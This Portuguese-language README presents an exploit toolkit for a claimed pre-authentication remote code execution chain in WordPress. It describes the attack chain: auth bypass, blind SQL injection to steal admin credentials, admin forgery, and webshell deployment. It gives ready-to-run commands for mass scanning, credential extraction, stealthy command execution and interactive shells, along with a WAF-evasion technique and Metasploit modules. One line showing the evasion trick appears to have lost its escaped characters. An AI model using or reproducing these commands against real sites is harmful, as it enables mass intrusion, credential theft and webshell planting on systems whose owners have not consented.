wp2shell-Exploit-Waf-Bypass

                ___      __         __
 _      _____  |__ \ ___/ /_  ___  / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / / 
| |/ |/ /  __// __//_  / / / /  __/ / /  
|__/|__/\___//____//__/_/ /_/\___/_/_/   
                                         
  WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137
  by Venexy (M4xSec)

Execução remota de código não autenticada no WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Corrigido nas versões 6.8.6, 6.9.5 e 7.0.2.

Instalação Rápida

# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell

# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go

Cadeia de Ataque

1. Confusão de rota via requisições em lote aninhadas com caminho inicial inválido contorna a autenticação
2. SQLi cega baseada em tempo extrai o prefixo da tabela, o ID do administrador e as credenciais
3. Forjamento de linhas baseado em UNION popula caches oEmbed (SQLi somente leitura → gravações no banco de dados)
4. Elevação de changeset + parse_request() reentrante forja um administrador
5. O upload de plugin implanta um webshell autolimpante
6. Execução de comandos e limpeza automática

Ferramentas

Scanner em Go (go-scanner/wp2shell-master.go)

Binário tudo-em-um — escaneamento, verificação, leitura, exploração e shell interativo.

go build -o wp2shell-master go-scanner/wp2shell-master.go

# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20

# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0

# Extract admin creds
./wp2shell-master read https://target.com --preset users

# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth

# Interactive shell
./wp2shell-master rce https://target.com -i -y

Ferramentas de Bypass de WAF (waf-bypass/)

Scripts independentes para bypass do Cloudflare/ModSecurity via escape Unicode JSON de palavras-chave SQL.

• core.py — Mecanismo compartilhado de SQLi cega com bypass de WAF
• dump_version.py — Extrai @@version
• dump_dbname.py — Extrai DATABASE()
• dump_tables.py — Enumera tabelas
• dump_columns.py — Enumera colunas
• rce_shell.py — Cadeia RCE completa com bypass de WAF

Módulos Metasploit (metasploit-modules/)

• wp2shell_rce.rb — Módulo de exploit RCE completo (PR #21760)
• wp2shell_scanner.rb — Scanner não destrutivo (PR #21761)

Instalação local:

mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb

Técnica de Bypass de WAF

O WAF do Cloudflare inspeciona os bytes brutos do JSON, mas não decodifica as sequências de escape \uXXXX antes da correspondência de padrões. O PHP do WordPress, por meio do json_decode(), decodifica-as de forma transparente.

• SLEEP → SLEEP — contorna a detecção de palavras-chave
• Primer de dois pontos (: em vez de http://:) — mais curto, evita regras de padrão de URI
• Caminho permalink /wp-json/batch/v1 — evita o bloqueio de ?rest_route=
• Cabeçalhos Origin + Referer do domínio alvo — satisfazem as verificações de CORS/mesma origem

Laboratório Docker

Laboratório sem WAF (porta 8888)

cd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!

Laboratório com WAF (porta 9999)

ModSecurity CRS (OWASP) com regras estilo Cloudflare — bypass Unicode confirmado.

cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999

Isenção de Responsabilidade

Esta ferramenta é apenas para testes de segurança autorizados. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Acesso não autorizado é ilegal.

Licença

MIT